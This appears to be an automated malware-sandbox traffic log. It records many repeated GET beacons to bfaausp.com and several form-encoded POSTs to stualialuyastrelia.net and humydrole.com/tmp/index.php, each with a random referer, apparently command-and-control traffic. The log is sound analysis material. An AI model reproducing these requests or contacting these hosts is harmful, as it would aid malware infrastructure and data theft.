Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xayqbyqkdgd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tlcofynwjmbpkvmn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 361Host: humydrole.com
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dngkgnagyuglda.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jicewxafowy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 110Host: humydrole.com
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sfmuyfknnonqscc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://otepxyvexcercvtx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 359Host: humydrole.com
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mgmvdmhqiqnx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
